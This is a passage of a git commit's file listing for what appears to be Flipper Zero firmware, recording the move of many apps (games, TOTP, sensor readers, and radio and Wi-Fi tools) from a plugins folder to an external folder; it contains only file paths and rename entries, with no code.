.../pocsag_pager/pocsag_pager_app_i.c | 0 .../pocsag_pager/pocsag_pager_app_i.h | 0 .../pocsag_pager/pocsag_pager_history.c | 0 .../pocsag_pager/pocsag_pager_history.h | 0 .../pocsag_pager/protocols/pcsg_generic.c | 0 .../pocsag_pager/protocols/pcsg_generic.h | 0 .../pocsag_pager/protocols/pocsag.c | 0 .../pocsag_pager/protocols/pocsag.h | 0 .../pocsag_pager/protocols/protocol_items.c | 0 .../pocsag_pager/protocols/protocol_items.h | 0 .../pocsag_pager/scenes/pocsag_pager_receiver.c | 0 .../pocsag_pager/scenes/pocsag_pager_scene.c | 0 .../pocsag_pager/scenes/pocsag_pager_scene.h | 0 .../pocsag_pager/scenes/pocsag_pager_scene_about.c | 0 .../pocsag_pager/scenes/pocsag_pager_scene_config.h | 0 .../scenes/pocsag_pager_scene_receiver_config.c | 0 .../scenes/pocsag_pager_scene_receiver_info.c | 0 .../pocsag_pager/scenes/pocsag_pager_scene_start.c | 0 .../pocsag_pager/views/pocsag_pager_receiver.c | 0 .../pocsag_pager/views/pocsag_pager_receiver.h | 0 .../pocsag_pager/views/pocsag_pager_receiver_info.c | 0 .../pocsag_pager/views/pocsag_pager_receiver_info.h | 0 .../{plugins => external}/protoview/LICENSE | 0 .../{plugins => external}/protoview/README.md | 0 applications/{plugins => external}/protoview/app.c | 0 applications/{plugins => external}/protoview/app.h | 0 .../{plugins => external}/protoview/app_subghz.c | 0 .../{plugins => external}/protoview/appicon.png | Bin .../{plugins => external}/protoview/application.fam | 0 applications/{plugins => external}/protoview/crc.c | 0 .../protoview/custom_presets.h | 0 .../{plugins => external}/protoview/fields.c | 0 .../protoview/images/ProtoViewSignal.jpg | Bin .../protoview/images/protoview_1.jpg | Bin .../protoview/images/protoview_2.jpg | Bin .../protoview/protocols/b4b1.c | 0 .../protoview/protocols/keeloq.c | 0 .../protoview/protocols/oregon2.c | 0 .../protoview/protocols/pvchat.c | 0 .../protoview/protocols/tpms/citroen.c | 0 .../protoview/protocols/tpms/ford.c | 0 .../protoview/protocols/tpms/renault.c | 0 .../protoview/protocols/tpms/schrader.c | 0 .../protoview/protocols/tpms/schrader_eg53ma4.c | 0 .../protoview/protocols/tpms/toyota.c | 0 .../protoview/protocols/unknown.c | 0 .../{plugins => external}/protoview/raw_samples.c | 0 .../{plugins => external}/protoview/raw_samples.h | 0 .../{plugins => external}/protoview/signal.c | 0 .../{plugins => external}/protoview/signal_file.c | 0 applications/{plugins => external}/protoview/ui.c | 0 .../{plugins => external}/protoview/view_build.c | 0 .../protoview/view_direct_sampling.c | 0 .../{plugins => external}/protoview/view_info.c | 0 .../protoview/view_raw_signal.c | 0 .../{plugins => external}/protoview/view_settings.c | 0 .../sentry_safe/application.fam | 0 .../{plugins => external}/sentry_safe/safe_10px.png | Bin .../{plugins => external}/sentry_safe/sentry_safe.c | 0 .../{plugins => external}/solitaire/application.fam | 0 .../solitaire/assets/card_graphics.png | Bin .../solitaire/assets/solitaire_main.png | Bin .../{plugins => external}/solitaire/common/card.c | 0 .../{plugins => external}/solitaire/common/card.h | 0 .../{plugins => external}/solitaire/common/dml.c | 0 .../{plugins => external}/solitaire/common/dml.h | 0 .../{plugins => external}/solitaire/common/menu.c | 0 .../{plugins => external}/solitaire/common/menu.h | 0 .../{plugins => external}/solitaire/common/queue.c | 0 .../{plugins => external}/solitaire/common/queue.h | 0 .../{plugins => external}/solitaire/common/ui.c | 0 .../{plugins => external}/solitaire/common/ui.h | 0 .../{plugins => external}/solitaire/defines.h | 0 .../{plugins => external}/solitaire/solitaire.c | 0 .../solitaire/solitaire_10px.png | Bin .../spectrum_analyzer/application.fam | 0 .../spectrum_analyzer/spectrum_10px.png | Bin .../spectrum_analyzer/spectrum_analyzer.c | 0 .../spectrum_analyzer/spectrum_analyzer.h | 0 .../spectrum_analyzer/spectrum_analyzer_worker.c | 0 .../spectrum_analyzer/spectrum_analyzer_worker.h | 0 applications/{plugins => external}/subbrute | 0 .../{plugins => external}/swd_probe/.gitignore | 0 .../{plugins => external}/swd_probe/LICENSE.txt | 0 .../{plugins => external}/swd_probe/README.md | 0 applications/{plugins => external}/swd_probe/adi.c | 0 applications/{plugins => external}/swd_probe/adi.h | 0 .../{plugins => external}/swd_probe/application.fam | 0 .../swd_probe/icons/ButtonDown_7x4.png | Bin .../swd_probe/icons/ButtonUp_7x4.png | Bin .../{plugins => external}/swd_probe/icons/app.png | Bin .../{plugins => external}/swd_probe/icons/swd.png | Bin .../{plugins => external}/swd_probe/jep106.c | 0 .../{plugins => external}/swd_probe/jep106.h | 0 .../{plugins => external}/swd_probe/jep106.inc | 0 .../{plugins => external}/swd_probe/model/chip.ply | 0 .../swd_probe/model/convert.py | 0 .../swd_probe/model/model_chip.h | 0 .../{plugins => external}/swd_probe/swd_probe_app.c | 0 .../{plugins => external}/swd_probe/swd_probe_app.h | 0 .../{plugins => external}/swd_probe/usb_uart.c | 0 .../{plugins => external}/swd_probe/usb_uart.h | 0 .../tetris_game/application.fam | 0 .../tetris_game/tetris_10px.png | Bin .../{plugins => external}/tetris_game/tetris_game.c | 0 .../{plugins => external}/text_viewer/LICENSE | 0 .../{plugins => external}/text_viewer/README.md | 0 .../text_viewer/application.fam | 0 .../text_viewer/icons/text_10px.png | Bin .../{plugins => external}/text_viewer/text_viewer.c | 0 .../text_viewer/textviewerflipper.PNG | Bin .../tictactoe_game/application.fam | 0 .../tictactoe_game/tictactoe_10px.png | Bin .../tictactoe_game/tictactoe_game.c | 0 applications/{plugins => external}/totp/LICENSE | 0 .../{plugins => external}/totp/application.fam | 0 applications/{plugins => external}/totp/cli/cli.c | 0 applications/{plugins => external}/totp/cli/cli.h | 0 .../{plugins => external}/totp/cli/cli_helpers.c | 0 .../{plugins => external}/totp/cli/cli_helpers.h | 0 .../totp/cli/commands/add/add.c | 0 .../totp/cli/commands/add/add.h | 0 .../totp/cli/commands/delete/delete.c | 0 .../totp/cli/commands/delete/delete.h | 0 .../totp/cli/commands/help/help.c | 0 .../totp/cli/commands/help/help.h | 0 .../totp/cli/commands/list/list.c | 0 .../totp/cli/commands/list/list.h | 0 .../totp/cli/commands/move/move.c | 0 .../totp/cli/commands/move/move.h | 0 .../totp/cli/commands/notification/notification.c | 0 .../totp/cli/commands/notification/notification.h | 0 .../totp/cli/commands/pin/pin.c | 0 .../totp/cli/commands/pin/pin.h | 0 .../totp/cli/commands/reset/reset.c | 0 .../totp/cli/commands/reset/reset.h | 0 .../totp/cli/commands/timezone/timezone.c | 0 .../totp/cli/commands/timezone/timezone.h | 0 .../totp/images/DolphinCommon_56x48.png | Bin .../totp/images/totp_arrow_bottom_10x5.png | Bin .../totp/images/totp_arrow_left_8x9.png | Bin .../totp/images/totp_arrow_right_8x9.png | Bin .../{plugins => external}/totp/lib/base32/base32.c | 0 .../{plugins => external}/totp/lib/base32/base32.h | 0 .../{plugins => external}/totp/lib/list/list.c | 0 .../{plugins => external}/totp/lib/list/list.h | 0 .../totp/lib/polyfills/memset_s.c | 0 .../totp/lib/polyfills/memset_s.h | 0 .../totp/lib/polyfills/strnlen.c | 0 .../totp/lib/polyfills/strnlen.h | 0 .../totp/lib/roll_value/roll_value.c | 0 .../totp/lib/roll_value/roll_value.h | 0 .../totp/lib/timezone_utils/timezone_utils.c | 0 .../totp/lib/timezone_utils/timezone_utils.h | 0 .../totp/services/config/config.c | 0 .../totp/services/config/config.h | 0 .../totp/services/config/constants.h | 0 .../config/migrations/config_migration_v1_to_v2.c | 0 .../config/migrations/config_migration_v1_to_v2.h | 0 .../config/migrations/config_migration_v2_to_v3.c | 0 .../config/migrations/config_migration_v2_to_v3.h | 0 .../totp/services/convert/convert.h | 0 .../totp/services/crypto/crypto.c | 0 .../totp/services/crypto/crypto.h | 0 .../totp/services/hmac/byteswap.c | 0 .../totp/services/hmac/byteswap.h | 0 .../totp/services/hmac/hmac_common.h | 0 .../totp/services/hmac/hmac_sha1.c | 0 .../totp/services/hmac/hmac_sha1.h | 0 .../totp/services/hmac/hmac_sha256.c | 0 .../totp/services/hmac/hmac_sha256.h | 0 .../totp/services/hmac/hmac_sha512.c | 0 .../totp/services/hmac/hmac_sha512.h | 0 .../totp/services/hmac/memxor.c | 0 .../totp/services/hmac/memxor.h | 0 .../{plugins => external}/totp/services/hmac/sha1.c | 0 .../{plugins => external}/totp/services/hmac/sha1.h | 0 .../totp/services/hmac/sha256.c | 0 .../totp/services/hmac/sha256.h | 0 .../totp/services/hmac/sha512.c | 0 .../totp/services/hmac/sha512.h | 0 .../{plugins => external}/totp/services/hmac/u64.h | 0 .../{plugins => external}/totp/services/totp/totp.c | 0 .../{plugins => external}/totp/services/totp/totp.h | 0 .../{plugins => external}/totp/totp_10px.png | Bin applications/{plugins => external}/totp/totp_app.c | 0 .../{plugins => external}/totp/types/common.h | 0 .../{plugins => external}/totp/types/event_type.h | 0 .../totp/types/notification_method.h | 0 .../{plugins => external}/totp/types/nullable.h | 0 .../{plugins => external}/totp/types/plugin_event.h | 0 .../{plugins => external}/totp/types/plugin_state.h | 0 .../{plugins => external}/totp/types/token_info.c | 0 .../{plugins => external}/totp/types/token_info.h | 0 .../totp/types/user_pin_codes.h | 0 .../{plugins => external}/totp/ui/common_dialogs.c | 0 .../{plugins => external}/totp/ui/common_dialogs.h | 0 .../{plugins => external}/totp/ui/constants.h | 0 .../{plugins => external}/totp/ui/scene_director.c | 0 .../{plugins => external}/totp/ui/scene_director.h | 0 .../totp/ui/scenes/add_new_token/totp_input_text.c | 0 .../totp/ui/scenes/add_new_token/totp_input_text.h | 0 .../scenes/add_new_token/totp_scene_add_new_token.c | 0 .../scenes/add_new_token/totp_scene_add_new_token.h | 0 .../totp/ui/scenes/app_settings/totp_app_settings.c | 0 .../totp/ui/scenes/app_settings/totp_app_settings.h | 0 .../scenes/authenticate/totp_scene_authenticate.c | 0 .../scenes/authenticate/totp_scene_authenticate.h | 0 .../generate_token/totp_scene_generate_token.c | 0 .../generate_token/totp_scene_generate_token.h | 0 .../ui/scenes/token_menu/totp_scene_token_menu.c | 0 .../ui/scenes/token_menu/totp_scene_token_menu.h | 0 .../totp/ui/totp_scenes_enum.h | 0 .../{plugins => external}/totp/ui/ui_controls.c | 0 .../{plugins => external}/totp/ui/ui_controls.h | 0 .../totp/workers/type_code/type_code.c | 0 .../totp/workers/type_code/type_code.h | 0 .../{plugins => external}/uart_terminal/LICENSE | 0 .../{plugins => external}/uart_terminal/README.md | 0 .../uart_terminal/application.fam | 0 .../assets/KeyBackspaceSelected_16x9.png | Bin .../uart_terminal/assets/KeyBackspace_16x9.png | Bin .../uart_terminal/assets/KeySaveSelected_24x11.png | Bin .../uart_terminal/assets/KeySave_24x11.png | Bin .../uart_terminal/assets/WarningDolphin_45x42.png | Bin .../uart_terminal/scenes/uart_terminal_scene.c | 0 .../uart_terminal/scenes/uart_terminal_scene.h | 0 .../scenes/uart_terminal_scene_config.h | 0 .../scenes/uart_terminal_scene_console_output.c | 0 .../scenes/uart_terminal_scene_start.c | 0 .../scenes/uart_terminal_scene_text_input.c | 0 .../uart_terminal/uart_terminal.png | Bin .../uart_terminal/uart_terminal_app.c | 0 .../uart_terminal/uart_terminal_app.h | 0 .../uart_terminal/uart_terminal_app_i.h | 0 .../uart_terminal/uart_terminal_custom_event.h | 0 .../uart_terminal/uart_terminal_uart.c | 0 .../uart_terminal/uart_terminal_uart.h | 0 .../uart_terminal/uart_text_input.c | 0 .../uart_terminal/uart_text_input.h | 0 .../uart_terminal/uart_validators.c | 0 .../uart_terminal/uart_validators.h | 0 .../{plugins => external}/unitemp/LICENSE.md | 0 .../{plugins => external}/unitemp/README.md | 0 .../{plugins => external}/unitemp/Sensors.c | 0 .../{plugins => external}/unitemp/Sensors.h | 0 .../{plugins => external}/unitemp/application.fam | 0 .../{plugins => external}/unitemp/assets/README.MD | 0 .../unitemp/assets/flipper_happy_2_60x38.png | Bin .../unitemp/assets/flipper_happy_60x38.png | Bin .../unitemp/assets/flipper_sad_60x38.png | Bin .../unitemp/assets/hum_9x15.png | Bin .../unitemp/assets/in_hg_15x15.png | Bin .../unitemp/assets/mm_hg_15x15.png | Bin .../unitemp/assets/pressure_7x13.png | Bin .../unitemp/assets/repo_qr_50x50.png | Bin .../unitemp/assets/sherlok_53x45.png | Bin .../unitemp/assets/temp_C_11x14.png | Bin .../unitemp/assets/temp_F_11x14.png | Bin applications/{plugins => external}/unitemp/icon.png | Bin .../unitemp/interfaces/I2CSensor.c | 0 .../unitemp/interfaces/I2CSensor.h | 0 .../unitemp/interfaces/OneWireSensor.c | 0 .../unitemp/interfaces/OneWireSensor.h | 0 .../unitemp/interfaces/SPISensor.c | 0 .../unitemp/interfaces/SPISensor.h | 0 .../unitemp/interfaces/SingleWireSensor.c | 0 .../unitemp/interfaces/SingleWireSensor.h | 0 .../{plugins => external}/unitemp/sensors/AM2320.c | 0 .../{plugins => external}/unitemp/sensors/AM2320.h | 0 .../{plugins => external}/unitemp/sensors/BME680.c | 0 .../{plugins => external}/unitemp/sensors/BME680.h | 0 .../{plugins => external}/unitemp/sensors/BMP180.c | 0 .../{plugins => external}/unitemp/sensors/BMP180.h | 0 .../{plugins => external}/unitemp/sensors/BMx280.c | 0 .../{plugins => external}/unitemp/sensors/BMx280.h | 0 .../{plugins => external}/unitemp/sensors/DHT20.c | 0 .../{plugins => external}/unitemp/sensors/DHT20.h | 0 .../{plugins => external}/unitemp/sensors/HDC1080.c | 0 .../{plugins => external}/unitemp/sensors/HDC1080.h | 0 .../{plugins => external}/unitemp/sensors/HTU21x.c | 0 .../{plugins => external}/unitemp/sensors/HTU21x.h | 0 .../{plugins => external}/unitemp/sensors/LM75.c | 0 .../{plugins => external}/unitemp/sensors/LM75.h | 0 .../unitemp/sensors/MAX31855.c | 0 .../unitemp/sensors/MAX31855.h | 0 .../{plugins => external}/unitemp/sensors/MAX6675.c | 0 .../{plugins => external}/unitemp/sensors/MAX6675.h | 0 .../{plugins => external}/unitemp/sensors/SHT30.c | 0 .../{plugins => external}/unitemp/sensors/SHT30.h | 0 .../unitemp/sensors/Sensors.xlsx | Bin .../{plugins => external}/unitemp/unitemp.c | 0 .../{plugins => external}/unitemp/unitemp.h | 0 .../unitemp/views/General_view.c | 0 .../unitemp/views/MainMenu_view.c | 0 .../unitemp/views/Popup_view.c | 0 .../unitemp/views/SensorActions_view.c | 0 .../unitemp/views/SensorEdit_view.c | 0 .../unitemp/views/SensorNameEdit_view.c | 0 .../unitemp/views/SensorsList_view.c | 0 .../unitemp/views/Settings_view.c | 0 .../unitemp/views/UnitempViews.h | 0 .../unitemp/views/Widgets_view.c | 0 .../{plugins => external}/wav_player/README.md | 0 .../wav_player/application.fam | 0 .../wav_player/images/music_10px.png | Bin .../{plugins => external}/wav_player/wav_10px.png | Bin .../{plugins => external}/wav_player/wav_parser.c | 0 .../{plugins => external}/wav_player/wav_parser.h | 0 .../{plugins => external}/wav_player/wav_player.c | 0 .../wav_player/wav_player_hal.c | 0 .../wav_player/wav_player_hal.h | 0 .../wav_player/wav_player_view.c | 0 .../wav_player/wav_player_view.h | 0 .../wifi_marauder_companion/application.fam | 0 .../scenes/wifi_marauder_scene.c | 0 .../scenes/wifi_marauder_scene.h | 0 .../scenes/wifi_marauder_scene_config.h | 0 .../scenes/wifi_marauder_scene_console_output.c | 0 .../scenes/wifi_marauder_scene_start.c | 0 .../scenes/wifi_marauder_scene_text_input.c | 0 .../wifi_marauder_companion/wifi_10px.png | Bin .../wifi_marauder_companion/wifi_marauder_app.c | 0 .../wifi_marauder_companion/wifi_marauder_app.h | 0 .../wifi_marauder_companion/wifi_marauder_app_i.h | 0 .../wifi_marauder_custom_event.h | 0 .../wifi_marauder_companion/wifi_marauder_uart.c | 0 .../wifi_marauder_companion/wifi_marauder_uart.h | 0 .../wifi_scanner/FlipperZeroWiFiModuleDefines.h | 0 .../wifi_scanner/application.fam | 0 .../wifi_scanner/wifi_10px.png | Bin .../wifi_scanner/wifi_scanner.c | 0 .../{plugins => external}/zombiez/application.fam | 0 .../{plugins => external}/zombiez/zombie_10px.png | Bin .../{plugins => external}/zombiez/zombiez.c | 0 .../{plugins => external}/zombiez/zombiez.h | 0 applications/plugins/dap_link/lib/free-dap | 1 - 671 files changed, 1 insertion(+), 2 deletions(-) rename applications/{plugins => external}/doom/README.md (100%) rename applications/{plugins => external}/doom/application.fam (100%) rename applications/{plugins => external}/doom/assets/door2.png (100%) rename applications/{plugins => external}/doom/assets/door_inv.png (100%) rename applications/{plugins => external}/doom/assets/fire_inv.png (100%) rename applications/{plugins => external}/doom/assets/fireball_inv.png (100%) rename applications/{plugins => external}/doom/assets/fireball_mask_inv.png (100%) rename applications/{plugins => external}/doom/assets/gradient_inv.png (100%) rename applications/{plugins => external}/doom/assets/gun_inv.png (100%) rename applications/{plugins => external}/doom/assets/gun_mask_inv.png (100%) rename applications/{plugins => external}/doom/assets/imp_inv.png (100%) rename applications/{plugins => external}/doom/assets/imp_mask_inv.png (100%) rename applications/{plugins => external}/doom/assets/item_inv.png (100%) rename applications/{plugins => external}/doom/assets/item_mask_inv.png (100%) rename applications/{plugins => external}/doom/assets/logo_inv.png (100%) rename applications/{plugins => external}/doom/assets/screenshot-imp2.jpg (100%) rename applications/{plugins => external}/doom/assets/screenshot-intro2.jpg (100%) rename applications/{plugins => external}/doom/assets/screenshot-medkit2.jpg (100%) rename applications/{plugins => external}/doom/assets/screenshot-start2.jpg (100%) rename applications/{plugins => external}/doom/assets/screenshot1.png (100%) rename applications/{plugins => external}/doom/assets/screenshot2.png (100%) rename applications/{plugins => external}/doom/assets/screenshot3.png (100%) rename applications/{plugins => external}/doom/compiled/assets_icons.c (100%) rename applications/{plugins => external}/doom/compiled/assets_icons.h (100%) rename applications/{plugins => external}/doom/constants.h (100%) rename applications/{plugins => external}/doom/display.h (100%) rename applications/{plugins => external}/doom/doom.c (100%) rename applications/{plugins => external}/doom/doom_10px.png (100%) rename applications/{plugins => external}/doom/doom_music_player_worker.c (100%) rename applications/{plugins => external}/doom/doom_music_player_worker.h (100%) rename applications/{plugins => external}/doom/entities.c (100%) rename applications/{plugins => external}/doom/entities.h (100%) rename applications/{plugins => external}/doom/level.h (100%) rename applications/{plugins => external}/doom/sound.h (100%) rename applications/{plugins => external}/doom/types.c (100%) rename applications/{plugins => external}/doom/types.h (100%) rename applications/{plugins => external}/dtmf_dolphin/LICENSE (100%) rename applications/{plugins => external}/dtmf_dolphin/README.md (100%) rename applications/{plugins => external}/dtmf_dolphin/application.fam (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin.c (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_audio.c (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_audio.h (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_data.c (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_data.h (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_event.h (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_hal.c (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_hal.h (100%) rename applications/{plugins => external}/dtmf_dolphin/dtmf_dolphin_i.h (100%) rename applications/{plugins => external}/dtmf_dolphin/phone.png (100%) rename applications/{plugins => external}/dtmf_dolphin/pics/dialer.jpg (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene.c (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene.h (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c (100%) rename applications/{plugins => external}/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c (100%) rename applications/{plugins => external}/dtmf_dolphin/views/dtmf_dolphin_common.h (100%) rename applications/{plugins => external}/dtmf_dolphin/views/dtmf_dolphin_dialer.c (100%) rename applications/{plugins => external}/dtmf_dolphin/views/dtmf_dolphin_dialer.h (100%) rename applications/{plugins => external}/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h (100%) rename applications/{plugins => external}/esp8266_deauth/application.fam (100%) rename applications/{plugins => external}/esp8266_deauth/esp8266_deauth.c (100%) rename applications/{plugins => external}/esp8266_deauth/wifi_10px.png (100%) rename applications/{plugins => external}/flappy_bird/application.fam (100%) rename applications/{plugins => external}/flappy_bird/assets/bird/frame_01.png (100%) rename applications/{plugins => external}/flappy_bird/assets/bird/frame_02.png (100%) rename applications/{plugins => external}/flappy_bird/assets/bird/frame_03.png (100%) rename applications/{plugins => external}/flappy_bird/assets/bird/frame_rate (100%) rename applications/{plugins => external}/flappy_bird/flappy_10px.png (100%) rename applications/{plugins => external}/flappy_bird/flappy_bird.c (100%) rename applications/{plugins => external}/flipfrid/LICENSE.md (100%) rename applications/{plugins => external}/flipfrid/README.md (100%) rename applications/{plugins => external}/flipfrid/application.fam (100%) rename applications/{plugins => external}/flipfrid/flipfrid.c (100%) rename applications/{plugins => external}/flipfrid/flipfrid.h (100%) rename applications/{plugins => external}/flipfrid/images/125_10px.png (100%) rename applications/{plugins => external}/flipfrid/rfid_10px.png (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_entrypoint.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_entrypoint.h (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_load_custom_uids.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_load_custom_uids.h (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_load_file.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_load_file.h (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_run_attack.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_run_attack.h (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_select_field.c (100%) rename applications/{plugins => external}/flipfrid/scene/flipfrid_scene_select_field.h (100%) rename applications/{plugins => external}/flipper_i2ctools/README.md (100%) rename applications/{plugins => external}/flipper_i2ctools/application.fam (100%) rename applications/{plugins => external}/flipper_i2ctools/i2cscanner.c (100%) rename applications/{plugins => external}/flipper_i2ctools/i2cscanner.h (100%) rename applications/{plugins => external}/flipper_i2ctools/i2csender.c (100%) rename applications/{plugins => external}/flipper_i2ctools/i2csender.h (100%) rename applications/{plugins => external}/flipper_i2ctools/i2csniffer.c (100%) rename applications/{plugins => external}/flipper_i2ctools/i2csniffer.h (100%) rename applications/{plugins => external}/flipper_i2ctools/i2ctools.c (100%) rename applications/{plugins => external}/flipper_i2ctools/i2ctools.gif (100%) rename applications/{plugins => external}/flipper_i2ctools/i2ctools.png (100%) rename applications/{plugins => external}/flipper_i2ctools/i2ctools_i.h (100%) rename applications/{plugins => external}/flipper_i2ctools/images/ButtonDown_7x4.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/ButtonLeft_4x7.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/ButtonRight_4x7.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/ButtonUp_7x4.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/Ok_btn_9x9.png (100%) rename applications/{plugins => external}/flipper_i2ctools/images/i2ctools_main_76x59.png (100%) rename applications/{plugins => external}/flipper_i2ctools/views/main_view.c (100%) rename applications/{plugins => external}/flipper_i2ctools/views/main_view.h (100%) rename applications/{plugins => external}/flipper_i2ctools/views/scanner_view.c (100%) rename applications/{plugins => external}/flipper_i2ctools/views/scanner_view.h (100%) rename applications/{plugins => external}/flipper_i2ctools/views/sender_view.c (100%) rename applications/{plugins => external}/flipper_i2ctools/views/sender_view.h (100%) rename applications/{plugins => external}/flipper_i2ctools/views/sniffer_view.c (100%) rename applications/{plugins => external}/flipper_i2ctools/views/sniffer_view.h (100%) rename applications/{plugins => external}/game15/README.md (100%) rename applications/{plugins => external}/game15/application.fam (100%) rename applications/{plugins => external}/game15/game15.c (100%) rename applications/{plugins => external}/game15/game15_10px.png (100%) rename applications/{plugins => external}/game15/images/Game15.png (100%) rename applications/{plugins => external}/game15/images/Game15Popup.png (100%) rename applications/{plugins => external}/game15/images/Game15Restore.png (100%) rename applications/{plugins => external}/game15/sandbox.c (100%) rename applications/{plugins => external}/game15/sandbox.h (100%) rename applications/{plugins => external}/game_2048/LICENSE (100%) rename applications/{plugins => external}/game_2048/README.md (100%) rename applications/{plugins => external}/game_2048/application.fam (100%) rename applications/{plugins => external}/game_2048/array_utils.c (100%) rename applications/{plugins => external}/game_2048/array_utils.h (100%) rename applications/{plugins => external}/game_2048/digits.h (100%) rename applications/{plugins => external}/game_2048/game_2048.c (100%) rename applications/{plugins => external}/game_2048/game_2048.png (100%) rename applications/{plugins => external}/game_2048/images/screenshot1.png (100%) rename applications/{plugins => external}/game_2048/images/screenshot2.png (100%) rename applications/{plugins => external}/gps_nmea_uart/LICENSE (100%) rename applications/{plugins => external}/gps_nmea_uart/README.md (100%) rename applications/{plugins => external}/gps_nmea_uart/application.fam (100%) rename applications/{plugins => external}/gps_nmea_uart/gps.c (100%) rename applications/{plugins => external}/gps_nmea_uart/gps_10px.png (100%) rename applications/{plugins => external}/gps_nmea_uart/gps_uart.c (100%) rename applications/{plugins => external}/gps_nmea_uart/gps_uart.h (100%) rename applications/{plugins => external}/gps_nmea_uart/minmea.c (100%) rename applications/{plugins => external}/gps_nmea_uart/minmea.h (100%) rename applications/{plugins => external}/gps_nmea_uart/ui.png (100%) rename applications/{plugins => external}/gps_nmea_uart/wiring.png (100%) rename applications/{plugins => external}/hc_sr04/application.fam (100%) rename applications/{plugins => external}/hc_sr04/dist_sensor10px.png (100%) rename applications/{plugins => external}/hc_sr04/hc_sr04.c (100%) rename applications/{plugins => external}/heap_defence_game/application.fam (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Background_128x64.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box1_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box2_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box3_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box4_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box5_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box6p_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box7p_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Box8p_10x10.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Game_over_128x64.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_03.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_04.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_05.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_06.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_07.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_game_over_128x64/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_left_10x20/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_block_right_10x20/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_03.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_04.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_left_10x20/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_03.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_04.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_person_right_10x20/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_01.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_02.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_03.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_04.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/HD_start_128x64/frame_rate (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Person4_1_10x20.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Person4_2_10x20.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Person5_1_10x20.png (100%) rename applications/{plugins => external}/heap_defence_game/assets_images/Person5_2_10x20.png 